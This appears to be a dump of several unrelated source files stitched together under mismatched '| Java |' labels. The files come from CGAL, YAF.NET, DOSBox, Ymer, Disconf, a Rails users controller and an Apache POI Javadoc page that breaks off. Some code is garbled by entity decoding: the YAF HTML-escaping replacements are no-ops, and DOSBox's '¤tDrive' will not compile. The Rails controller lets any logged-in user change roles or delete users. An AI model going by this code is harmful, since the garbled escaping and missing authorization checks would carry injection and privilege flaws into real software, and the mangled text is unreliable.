/** Insert a 2-cell in a given 3-cell along a path of darts.
* @param amap the used generalized map.
* @param afirst iterator on the begining of the path.
* @param alast iterator on the end of the path.
* the path is a sequence of darts, one per edge
* where the face will be inserted.
* @return a dart of the new 2-cell.
*/
template<class InputIterator>
Dart_handle insert_cell_2_in_cell_3(InputIterator afirst,
InputIterator alast,
bool update_attributes=true)
{
CGAL_assertion(is_insertable_cell_2_in_cell_3(afirst,alast));
Dart_handle prec = null_handle, d = null_handle,
dd = null_handle, first = null_handle, ddd = null_handle,
dddd = null_handle, it0, d0, oldb2;
bool withAlpha3 = false;
{
for (InputIterator it(afirst); !withAlpha3 && it!=alast; ++it)
{
if (!this->template is_free<2>(*it)) withAlpha3 = true;
}
}
{
for (InputIterator it(afirst); it!=alast; ++it)
{
d = create_dart();
d0 = create_dart();
basic_link_alpha<0>(d, d0);
Helper::template Foreach_enabled_attributes_except
<internal::GMap_group_attribute_functor_of_dart<Self, 2>, 2>::
run(*this, d,*it);
it0=alpha<0>(*it);
Helper::template Foreach_enabled_attributes_except
<internal::GMap_group_attribute_functor_of_dart<Self, 2>, 2>::
run(*this, d0, it0);
if ( withAlpha3 )
{
dd = create_dart();
d0 = create_dart();
basic_link_alpha<0>(dd, d0);
basic_link_alpha<3>(d, dd);
basic_link_alpha<3>(alpha<0>(d), alpha<0>(dd));
Helper::template Foreach_enabled_attributes_except
<internal::GMap_group_attribute_functor_of_dart<Self, 2>, 2>::
run(*this,dd,d);
Helper::template Foreach_enabled_attributes_except
<internal::GMap_group_attribute_functor_of_dart<Self, 2>, 2>::
run(*this,d0, it0);
}
if ( prec!=null_handle )
{
basic_link_alpha<1>(prec, d);
if (withAlpha3)
basic_link_alpha<1>(alpha<3>(prec), dd);
}
else first=d;
if ( !this->template is_free<2>(*it) )
{
oldb2=alpha<2>(*it);
basic_link_alpha<2>(oldb2, dd);
basic_link_alpha<2>(alpha<0>(oldb2), alpha<0>(dd));
}
else
oldb2=NULL;
basic_link_alpha<2>(*it, d);
basic_link_alpha<2>(alpha<0>(*it), alpha<0>(d));
// Make copies of the new facet for dimension >=4
for ( unsigned int dim=4; dim<=dimension; ++dim )
{
if ( !is_free(*it, dim) )
{
ddd = create_dart();
d0 = create_dart();
basic_link_alpha<0>(ddd, d0);
basic_link_alpha(d, ddd, dim);
basic_link_alpha(alpha<0>(d), d0, dim);
basic_link_alpha<2>(alpha(*it, dim), ddd);
basic_link_alpha<2>(alpha(*it, 0, dim), d0);
Helper::template Foreach_enabled_attributes_except
<internal::GMap_group_attribute_functor_of_dart<Self, 2>, 2>::
run(*this, ddd, *it);
it0=alpha<0>(*it);
Helper::template Foreach_enabled_attributes_except
<internal::GMap_group_attribute_functor_of_dart<Self, 2>, 2>::
run(*this, d0, it0);
if ( withAlpha3 )
{
dddd = create_dart();
d0 = create_dart();
basic_link_alpha<0>(dddd, d0);
basic_link_alpha(dd, dddd, dim);
basic_link_alpha(alpha<0>(dd), d0, dim);
if (oldb2!=NULL)
{
basic_link_alpha<2>(alpha(oldb2, dim), dddd);
basic_link_alpha<2>(alpha(oldb2, 0, dim), d0);
}
Helper::template Foreach_enabled_attributes_except
<internal::GMap_group_attribute_functor_of_dart<Self, 2>, 2>::
run(*this, dddd, *it);
Helper::template Foreach_enabled_attributes_except
<internal::GMap_group_attribute_functor_of_dart<Self, 2>, 2>::
run(*this, d0, it0);
}
if ( prec!=null_handle )
{
basic_link_alpha<1>(alpha(prec, dim), ddd);
if (withAlpha3)
basic_link_alpha<1>(alpha(prec, 3, dim), dddd);
}
}
}
prec = alpha<0>(d);
}
}
basic_link_alpha<1>(prec, first);
if ( withAlpha3 )
{
basic_link_alpha<1>(alpha<3>(prec), alpha<3>(first));
}
for ( unsigned int dim=4; dim<=dimension; ++dim )
{
if ( !is_free(first, dim) )
{
basic_link_alpha<1>(alpha(prec, dim), alpha(first, dim));
if ( withAlpha3 )
{
basic_link_alpha<1>(alpha(prec, 3, dim), alpha(first, 3, dim));
}
}
}
// Degroup the attributes
if ( withAlpha3 )
{ // Here we cannot use Degroup_attribute_functor_run as new darts do not
// have their 3-attribute
if (are_attributes_automatically_managed() && update_attributes)
{
CGAL::internal::GMap_degroup_attribute_functor_run<Self, 3>::
run(*this, first, alpha<3>(first));
}
}
#ifdef CGAL_CMAP_TEST_VALID_INSERTIONS
CGAL_assertion( is_valid() );
#endif
return first;
}
protected:
/// Number of times each mark is reserved. 0 if the mark is free.
mutable size_type mnb_times_reserved_marks[NB_MARKS];
/// Mask marks to know the value of unmark dart, for each index i.
mutable std::bitset<NB_MARKS> mmask_marks;
/// Number of used marks.
mutable size_type mnb_used_marks;
/// Index of each mark, in mfree_marks_stack or in mfree_marks_stack.
mutable size_type mindex_marks[NB_MARKS];
/// "Stack" of free marks.
mutable size_type mfree_marks_stack[NB_MARKS];
/// "Stack" of used marks.
mutable size_type mused_marks_stack[NB_MARKS];
/// Number of marked darts for each used marks.
mutable size_type mnb_marked_darts[NB_MARKS];
/// Automatic management of the attributes:
/// true means attributes are always maintained updated during operations.
bool automatic_attributes_management;
/// Tuple of unary and binary functors (for all non void attributes).
typename Helper::Split_functors m_onsplit_functors;
typename Helper::Merge_functors m_onmerge_functors;
};
template < unsigned int d_,
class Items_=Generic_map_min_items,
class Alloc_=CGAL_ALLOCATOR(int),
class Storage_= Generalized_map_storage_1<d_, Items_, Alloc_> >
class Generalized_map :
public Generalized_map_base<d_,
Generalized_map<d_,Items_,Alloc_, Storage_>,
Items_, Alloc_, Storage_ >
{
public:
typedef Generalized_map<d_, Items_,Alloc_, Storage_> Self;
typedef Generalized_map_base<d_, Self, Items_, Alloc_, Storage_> Base;
typedef typename Base::Dart_handle Dart_handle;
typedef typename Base::Dart_const_handle Dart_const_handle;
typedef typename Base::Alloc Alloc;
typedef typename Base::Exception_no_more_available_mark
Exception_no_more_available_mark;
Generalized_map() : Base()
{}
Generalized_map(const Self & amap) : Base(amap)
{}
template < class Gmap >
Generalized_map(const Gmap & amap) : Base(amap)
{}
template < class Gmap, typename Converters >
Generalized_map(const Gmap & amap, const Converters& converters) :
Base(amap, converters)
{}
template < class Gmap, typename Converters, typename DartInfoConverter >
Generalized_map(const Gmap & amap, const Converters& converters,
const DartInfoConverter& dartinfoconverter) :
Base(amap, converters, dartinfoconverter)
{}
template < class Gmap, typename Converters, typename DartInfoConverter,
typename PointConverter >
Generalized_map(const Gmap & amap, const Converters& converters,
const DartInfoConverter& dartinfoconverter,
const PointConverter& pointconverter) :
Base(amap, converters, dartinfoconverter, pointconverter)
{}
};
} // namespace CGAL
#if (BOOST_GCC >= 40900)
_Pragma("GCC diagnostic pop")
#endif
#endif // CGAL_GENERALIZED_MAP_H //
// EOF //
| Java |
/* Yet Another Forum.NET
* Copyright (C) 2006-2013 Jaben Cargman
* http://www.yetanotherforum.net/
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
namespace YAF.Controls
{
#region Using
using System;
using System.Data;
using System.Text;
using YAF.Classes;
using YAF.Classes.Data;
using YAF.Core;
using YAF.Core.Model;
using YAF.Types;
using YAF.Types.Extensions;
using YAF.Types.Interfaces;
using YAF.Types.Models;
using YAF.Utilities;
using YAF.Utils;
#endregion
/// <summary>
/// Summary description for smileys.
/// </summary>
public partial class smileys : BaseUserControl
{
#region Constants and Fields
/// <summary>
/// The _dt smileys.
/// </summary>
protected DataTable _dtSmileys;
/// <summary>
/// The _onclick.
/// </summary>
private string _onclick;
/// <summary>
/// The _perrow.
/// </summary>
private int _perrow = 6;
#endregion
#region Properties
/// <summary>
/// Sets OnClick.
/// </summary>
public string OnClick
{
set
{
this._onclick = value;
}
}
#endregion
#region Methods
/// <summary>
/// The On PreRender event.
/// </summary>
/// <param name="e">
/// the Event Arguments
/// </param>
protected override void OnPreRender([NotNull] EventArgs e)
{
LoadingImage.ImageUrl = YafForumInfo.GetURLToResource("images/loader.gif");
LoadingImage.AlternateText = this.Get<ILocalization>().GetText("COMMON", "LOADING");
LoadingImage.ToolTip = this.Get<ILocalization>().GetText("COMMON", "LOADING");
LoadingText.Text = this.Get<ILocalization>().GetText("COMMON", "LOADING");
// Setup Pagination js
YafContext.Current.PageElements.RegisterJsResourceInclude("paginationjs", "js/jquery.pagination.js");
YafContext.Current.PageElements.RegisterJsBlock("paginationloadjs", JavaScriptBlocks.PaginationLoadJs);
base.OnPreRender(e);
}
/// <summary>
/// The page_ load.
/// </summary>
/// <param name="sender">
/// The sender.
/// </param>
/// <param name="e">
/// The e.
/// </param>
protected void Page_Load([NotNull] object sender, [NotNull] EventArgs e)
{
this._dtSmileys = this.GetRepository<Smiley>().ListUnique(this.PageContext.PageBoardID);
if (this._dtSmileys.Rows.Count == 0)
{
this.SmiliesPlaceholder.Visible = false;
}
else
{
this.CreateSmileys();
}
}
/// <summary>
/// The create smileys.
/// </summary>
private void CreateSmileys()
{
var html = new StringBuilder();
html.Append("<div class=\"result\">");
html.AppendFormat("<ul class=\"SmilieList\">");
int rowPanel = 0;
for (int i = 0; i < this._dtSmileys.Rows.Count; i++)
{
DataRow row = this._dtSmileys.Rows[i];
if (i % this._perrow == 0 && i > 0 && i < this._dtSmileys.Rows.Count)
{
rowPanel++;
if (rowPanel == 3)
{
html.Append("</ul></div>");
html.Append("<div class=\"result\">");
html.Append("<ul class=\"SmilieList\">\n");
rowPanel = 0;
}
}
string evt = string.Empty;
if (this._onclick.Length > 0)
{
string strCode = Convert.ToString(row["Code"]).ToLower();
strCode = strCode.Replace("&", "&");
strCode = strCode.Replace(">", ">");
strCode = strCode.Replace("<", "<");
strCode = strCode.Replace("\"", """);
strCode = strCode.Replace("\\", "\\\\");
strCode = strCode.Replace("'", "\\'");
evt = "javascript:{0}('{1} ','{3}{4}/{2}')".FormatWith(
this._onclick,
strCode,
row["Icon"],
YafForumInfo.ForumClientFileRoot,
YafBoardFolders.Current.Emoticons);
}
else
{
evt = "javascript:void()";
}
html.AppendFormat(
"<li><a tabindex=\"999\" href=\"{2}\"><img src=\"{0}\" alt=\"{1}\" title=\"{1}\" /></a></li>\n",
YafBuildLink.Smiley((string)row["Icon"]),
row["Emoticon"],
evt);
}
html.Append("</ul>");
html.Append("</div>");
this.SmileyResults.Text = html.ToString();
}
#endregion
}
} | Java |
/*
* Copyright (C) 2002-2015 The DOSBox Team
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#include "dosbox.h"
#include "dos_system.h"
#include "drives.h"
#include "setup.h"
#include "mapper.h"
#include "support.h"
#include "../save_state.h"
bool WildFileCmp(const char * file, const char * wild)
{
char file_name[9];
char file_ext[4];
char wild_name[9];
char wild_ext[4];
const char * find_ext;
Bitu r;
strcpy(file_name," ");
strcpy(file_ext," ");
strcpy(wild_name," ");
strcpy(wild_ext," ");
find_ext=strrchr(file,'.');
if (find_ext) {
Bitu size=(Bitu)(find_ext-file);
if (size>8) size=8;
memcpy(file_name,file,size);
find_ext++;
memcpy(file_ext,find_ext,(strlen(find_ext)>3) ? 3 : strlen(find_ext));
} else {
memcpy(file_name,file,(strlen(file) > 8) ? 8 : strlen(file));
}
upcase(file_name);upcase(file_ext);
find_ext=strrchr(wild,'.');
if (find_ext) {
Bitu size=(Bitu)(find_ext-wild);
if (size>8) size=8;
memcpy(wild_name,wild,size);
find_ext++;
memcpy(wild_ext,find_ext,(strlen(find_ext)>3) ? 3 : strlen(find_ext));
} else {
memcpy(wild_name,wild,(strlen(wild) > 8) ? 8 : strlen(wild));
}
upcase(wild_name);upcase(wild_ext);
/* Names are right do some checking */
r=0;
while (r<8) {
if (wild_name[r]=='*') goto checkext;
if (wild_name[r]!='?' && wild_name[r]!=file_name[r]) return false;
r++;
}
checkext:
r=0;
while (r<3) {
if (wild_ext[r]=='*') return true;
if (wild_ext[r]!='?' && wild_ext[r]!=file_ext[r]) return false;
r++;
}
return true;
}
void Set_Label(char const * const input, char * const output, bool cdrom) {
Bitu togo = 8;
Bitu vnamePos = 0;
Bitu labelPos = 0;
bool point = false;
//spacepadding the filenamepart to include spaces after the terminating zero is more closely to the specs. (not doing this now)
// HELLO\0' '' '
while (togo > 0) {
if (input[vnamePos]==0) break;
if (!point && (input[vnamePos]=='.')) { togo=4; point=true; }
//another mscdex quirk. Label is not always uppercase. (Daggerfall)
output[labelPos] = (cdrom?input[vnamePos]:toupper(input[vnamePos]));
labelPos++; vnamePos++;
togo--;
if ((togo==0) && !point) {
if (input[vnamePos]=='.') vnamePos++;
output[labelPos]='.'; labelPos++; point=true; togo=3;
}
};
output[labelPos]=0;
//Remove trailing dot. except when on cdrom and filename is exactly 8 (9 including the dot) letters. MSCDEX feature/bug (fifa96 cdrom detection)
if((labelPos > 0) && (output[labelPos-1] == '.') && !(cdrom && labelPos ==9))
output[labelPos-1] = 0;
}
DOS_Drive::DOS_Drive() {
curdir[0]=0;
info[0]=0;
}
const char * DOS_Drive::GetInfo(void) {
return info;
}
// static members variables
int DriveManager::currentDrive;
DriveManager::DriveInfo DriveManager::driveInfos[26];
void DriveManager::AppendDisk(int drive, DOS_Drive* disk) {
driveInfos[drive].disks.push_back(disk);
}
void DriveManager::InitializeDrive(int drive) {
currentDrive = drive;
DriveInfo& driveInfo = driveInfos[currentDrive];
if (driveInfo.disks.size() > 0) {
driveInfo.currentDisk = 0;
DOS_Drive* disk = driveInfo.disks[driveInfo.currentDisk];
Drives[currentDrive] = disk;
disk->Activate();
}
}
/*
void DriveManager::CycleDrive(bool pressed) {
if (!pressed) return;
// do one round through all drives or stop at the next drive with multiple disks
int oldDrive = currentDrive;
do {
currentDrive = (currentDrive + 1) % DOS_DRIVES;
int numDisks = driveInfos[currentDrive].disks.size();
if (numDisks > 1) break;
} while (currentDrive != oldDrive);
}
void DriveManager::CycleDisk(bool pressed) {
if (!pressed) return;
int numDisks = driveInfos[currentDrive].disks.size();
if (numDisks > 1) {
// cycle disk
int currentDisk = driveInfos[currentDrive].currentDisk;
DOS_Drive* oldDisk = driveInfos[currentDrive].disks[currentDisk];
currentDisk = (currentDisk + 1) % numDisks;
DOS_Drive* newDisk = driveInfos[currentDrive].disks[currentDisk];
driveInfos[currentDrive].currentDisk = currentDisk;
// copy working directory, acquire system resources and finally switch to next drive
strcpy(newDisk->curdir, oldDisk->curdir);
newDisk->Activate();
Drives[currentDrive] = newDisk;
}
}
*/
void DriveManager::CycleAllDisks(void) {
for (int idrive=0; idrive<2; idrive++) { /* Cycle all DISKS meaning A: and B: */
int numDisks = (int)driveInfos[idrive].disks.size();
if (numDisks > 1) {
// cycle disk
int currentDisk = driveInfos[idrive].currentDisk;
DOS_Drive* oldDisk = driveInfos[idrive].disks[currentDisk];
currentDisk = (currentDisk + 1) % numDisks;
DOS_Drive* newDisk = driveInfos[idrive].disks[currentDisk];
driveInfos[idrive].currentDisk = currentDisk;
// copy working directory, acquire system resources and finally switch to next drive
strcpy(newDisk->curdir, oldDisk->curdir);
newDisk->Activate();
Drives[idrive] = newDisk;
LOG_MSG("Drive %c: disk %d of %d now active", 'A'+idrive, currentDisk+1, numDisks);
}
}
}
void DriveManager::CycleAllCDs(void) {
for (int idrive=2; idrive<DOS_DRIVES; idrive++) { /* Cycle all CDs in C: D: ... Z: */
int numDisks = (int)driveInfos[idrive].disks.size();
if (numDisks > 1) {
// cycle disk
int currentDisk = driveInfos[idrive].currentDisk;
DOS_Drive* oldDisk = driveInfos[idrive].disks[currentDisk];
currentDisk = (currentDisk + 1) % numDisks;
DOS_Drive* newDisk = driveInfos[idrive].disks[currentDisk];
driveInfos[idrive].currentDisk = currentDisk;
// copy working directory, acquire system resources and finally switch to next drive
strcpy(newDisk->curdir, oldDisk->curdir);
newDisk->Activate();
Drives[idrive] = newDisk;
LOG_MSG("Drive %c: disk %d of %d now active", 'A'+idrive, currentDisk+1, numDisks);
}
}
}
int DriveManager::UnmountDrive(int drive) {
int result = 0;
// unmanaged drive
if (driveInfos[drive].disks.size() == 0) {
result = Drives[drive]->UnMount();
} else {
// managed drive
int currentDisk = driveInfos[drive].currentDisk;
result = driveInfos[drive].disks[currentDisk]->UnMount();
// only delete on success, current disk set to NULL because of UnMount
if (result == 0) {
driveInfos[drive].disks[currentDisk] = NULL;
for (int i = 0; i < (int)driveInfos[drive].disks.size(); i++) {
delete driveInfos[drive].disks[i];
}
driveInfos[drive].disks.clear();
}
}
return result;
}
bool int13_extensions_enable = true;
void DriveManager::Init(Section* s) {
Section_prop * section=static_cast<Section_prop *>(s);
int13_extensions_enable = section->Get_bool("int 13 extensions");
// setup driveInfos structure
currentDrive = 0;
for(int i = 0; i < DOS_DRIVES; i++) {
driveInfos[i].currentDisk = 0;
}
// MAPPER_AddHandler(&CycleDisk, MK_f3, MMOD1, "cycledisk", "Cycle Disk");
// MAPPER_AddHandler(&CycleDrive, MK_f3, MMOD2, "cycledrive", "Cycle Drv");
}
void DRIVES_Init(Section* sec) {
DriveManager::Init(sec);
}
char * DOS_Drive::GetBaseDir(void) {
return info + 16;
}
// save state support
void DOS_Drive::SaveState( std::ostream& stream )
{
// - pure data
WRITE_POD( &curdir, curdir );
WRITE_POD( &info, info );
}
void DOS_Drive::LoadState( std::istream& stream )
{
// - pure data
READ_POD( &curdir, curdir );
READ_POD( &info, info );
}
void DriveManager::SaveState( std::ostream& stream )
{
// - pure data
WRITE_POD( ¤tDrive, currentDrive );
}
void DriveManager::LoadState( std::istream& stream )
{
// - pure data
READ_POD( ¤tDrive, currentDrive );
}
void POD_Save_DOS_DriveManager( std::ostream& stream )
{
DriveManager::SaveState(stream);
}
void POD_Load_DOS_DriveManager( std::istream& stream )
{
DriveManager::LoadState(stream);
}
/*
ykhwong svn-daum 2012-05-21
class DriveManager
// - pure data
int currentDrive;
// - system data
static struct DriveInfo {
std::vector<DOS_Drive*> disks;
Bit32u currentDisk;
} driveInfos[DOS_DRIVES];
class DOS_Drive
// - pure data
char curdir[DOS_PATHLENGTH];
char info[256];
*/
| Java |
// Copyright (C) 2003--2005 Carnegie Mellon University
// Copyright (C) 2011--2014 Google Inc
//
// This file is part of Ymer.
//
// Ymer is free software; you can redistribute it and/or modify it
// under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// Ymer is distributed in the hope that it will be useful, but WITHOUT
// ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
// or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public
// License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Ymer; if not, write to the Free Software Foundation,
// Inc., #59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
//
// Internal state of parser.
#ifndef PARSER_STATE_H_
#define PARSER_STATE_H_
#include <optional>
#include <string>
#include <vector>
#include "model.h"
#include "strutil.h"
class ParserState {
public:
ParserState(const std::optional<std::string>& filename,
std::vector<std::string>* errors)
: filename_(filename), errors_(errors), success_(true) {}
Model* mutable_model() {
if (!model_.has_value()) {
model_ = Model();
}
return &model_.value();
}
void add_property(std::unique_ptr<const Expression>&& property) {
properties_.push_back(std::move(property));
}
void add_error(const std::string& error) {
if (!filename_.has_value() || filename_.value() == "-") {
errors_->push_back(error);
} else {
errors_->push_back(StrCat(filename_.value(), ":", error));
}
success_ = false;
}
bool has_model() const { return model_.has_value(); }
Model release_model() { return std::move(model_.value()); }
UniquePtrVector<const Expression> release_properties() {
return std::move(properties_);
}
bool success() const { return success_; }
private:
const std::optional<std::string> filename_;
std::vector<std::string>* const errors_;
std::optional<Model> model_;
UniquePtrVector<const Expression> properties_;
bool success_;
};
#endif // PARSER_STATE_H_
| Java |
package com.baidu.disconf.web.service.zookeeper.service;
import java.util.Map;
import com.baidu.disconf.core.common.constants.DisConfigTypeEnum;
import com.baidu.disconf.web.service.zookeeper.dto.ZkDisconfData;
/**
*
*
* @author liaoqiqi
* @version 2014-9-11
*/
public interface ZkDeployMgr {
/**
*
* @param appId
* @param envId
* @param version
* @return
*/
String getDeployInfo(String app, String env, String version);
/**
*
* @param app
* @param env
* @param version
* @return
*/
Map<String, ZkDisconfData> getZkDisconfDataMap(String app, String env, String version);
/**
* 获取指定的数据
*
* @param app
* @param env
* @param version
* @return
*/
ZkDisconfData getZkDisconfData(String app, String env, String version, DisConfigTypeEnum disConfigTypeEnum,
String keyName);
}
| Java |
class UsersController < ApplicationController
before_filter :init
before_action :require_login
def index
@users = User.all.where.not(email: current_user.email).order('created_at DESC')
end
def create
@user = User.new(user_params)
if @user.save
@activity = Activity.new({'user_id' => current_user.id, 'activity' => 'Created new user'})
@activity.save
redirect_to :back, notice: "Account Created"
else
redirect_to :back, notice: "Failed to create account"
end
end
def update
@user = User.find(params[:id])
password_salt = current_user.password_salt
pwd = user_params[:current].present? ? BCrypt::Engine.hash_secret(user_params[:current], password_salt) : current_user.password_hash
confirmed = true if pwd == current_user.password_hash
if user_params[:current].present? && !confirmed
redirect_to :back, alert: "Current Password is not valid"
else
name = "#{user_params[:firstname]} #{user_params[:lastname]}"
if @user.update(user_params.except(:firstname, :lastname).merge(name: name))
Activity.new({'user_id' => current_user.id, 'activity' => "Updated a user" }).save
redirect_to :back, alert: "Account Updated"
else
redirect_to :back, alert: @user.errors.full_messages
end
end
end
def destroy
user = User.find(params[:id])
if user.destroy
Activity.new({'user_id' => current_user.id, 'activity' => "Deleted a user" }).save
redirect_to :back
end
end
private
def user_params
params.require(:user).permit(:email, :role, :password, :avatar, :firstname, :lastname, :current)
end
def init
@preferences = Preference.find(1)
end
def require_login
unless session[:user_id].present?
redirect_to root_url
end
end
end
| Java |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="ru">
<head>
<title>FormulaEvaluator (POI API Documentation)</title>
<link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style">
</head>
<body>
<script type="text/javascript"><!--
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="FormulaEvaluator (POI API Documentation)";
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar_top">
<!-- -->
</a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="class-use/FormulaEvaluator.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../org/apache/poi/ss/usermodel/FormulaError.html" title="enum in org.apache.poi.ss.usermodel"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../../org/apache/poi/ss/usermodel/FractionFormat.html" title="class in org.apache.poi.ss.usermodel"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../index.html?org/apache/poi/ss/usermodel/FormulaEvaluator.html" target="_top">Frames</a></li>
<li><a href="FormulaEvaluator.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li>Field | </li>
<li>Constr | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li>Constr | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<!-- ======== START OF CLASS DATA ======== -->
<div class="header">
<div class="subTitle">org.apache.poi.ss.usermodel</div>
<h2 title="Interface FormulaEvaluator" class="title">Interface FormulaEvaluator</h2>
</div>
<div class="contentContainer">
<div class="description">
<ul class="blockList">
<li class="blockList">
<dl>
<dt>All Known Implementing Classes:</dt>
<dd><a href="../../../../../org/apache/poi/hssf/usermodel/HSSFFormulaEvaluator.html" title="class in org.apache.poi.hssf.usermodel">HSSFFormulaEvaluator</a>, <a href="../../../../../org/apache/poi/xssf/usermodel/XSSFFormulaEvaluator.html" title="class in org.apache.poi.xssf.usermodel">XSSFFormulaEvaluator</a></dd>
</dl>
<hr>
<br>
<pre>public interface <span class="strong">FormulaEvaluator</span></pre>
<div class="block">Evaluates formula cells.<p/>
For performance reasons, this class keeps a cache of all previously calculated intermediate
cell values. Be sure to call <a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#clearAllCachedResultValues()"><code>clearAllCachedResultValues()</code></a> if any workbook cells are changed between
calls to evaluate~ methods on this class.</div>
<dl><dt><span class="strong">Author:</span></dt>
<dd>Amol S. Deshmukh < amolweb at ya hoo dot com >, Josh Micich</dd></dl>
</li>
</ul>
</div>
<div class="summary">
<ul class="blockList">
<li class="blockList">
<!-- ========== METHOD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="method_summary">
<!-- -->
</a>
<h3>Method Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation">
<caption><span>Methods</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Method and Description</th>
</tr>
<tr class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><strong><a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#clearAllCachedResultValues()">clearAllCachedResultValues</a></strong>()</code>
<div class="block">Should be called whenever there are changes to input cells in the evaluated workbook.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code><a href="../../../../../org/apache/poi/ss/usermodel/CellValue.html" title="class in org.apache.poi.ss.usermodel">CellValue</a></code></td>
<td class="colLast"><code><strong><a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#evaluate(org.apache.poi.ss.usermodel.Cell)">evaluate</a></strong>(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a> cell)</code>
<div class="block">If cell contains a formula, the formula is evaluated and returned,
else the CellValue simply copies the appropriate cell value from
the cell and also its cell type.</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><strong><a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#evaluateAll()">evaluateAll</a></strong>()</code>
<div class="block">Loops over all cells in all sheets of the associated workbook.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>int</code></td>
<td class="colLast"><code><strong><a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#evaluateFormulaCell(org.apache.poi.ss.usermodel.Cell)">evaluateFormulaCell</a></strong>(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a> cell)</code>
<div class="block">If cell contains formula, it evaluates the formula,
and saves the result of the formula.</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code><a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a></code></td>
<td class="colLast"><code><strong><a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#evaluateInCell(org.apache.poi.ss.usermodel.Cell)">evaluateInCell</a></strong>(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a> cell)</code>
<div class="block">If cell contains formula, it evaluates the formula, and
puts the formula result back into the cell, in place
of the old formula.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><strong><a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#notifyDeleteCell(org.apache.poi.ss.usermodel.Cell)">notifyDeleteCell</a></strong>(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a> cell)</code>
<div class="block">Should be called to tell the cell value cache that the specified cell has just become a
formula cell, or the formula text has changed</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><strong><a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#notifySetFormula(org.apache.poi.ss.usermodel.Cell)">notifySetFormula</a></strong>(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a> cell)</code>
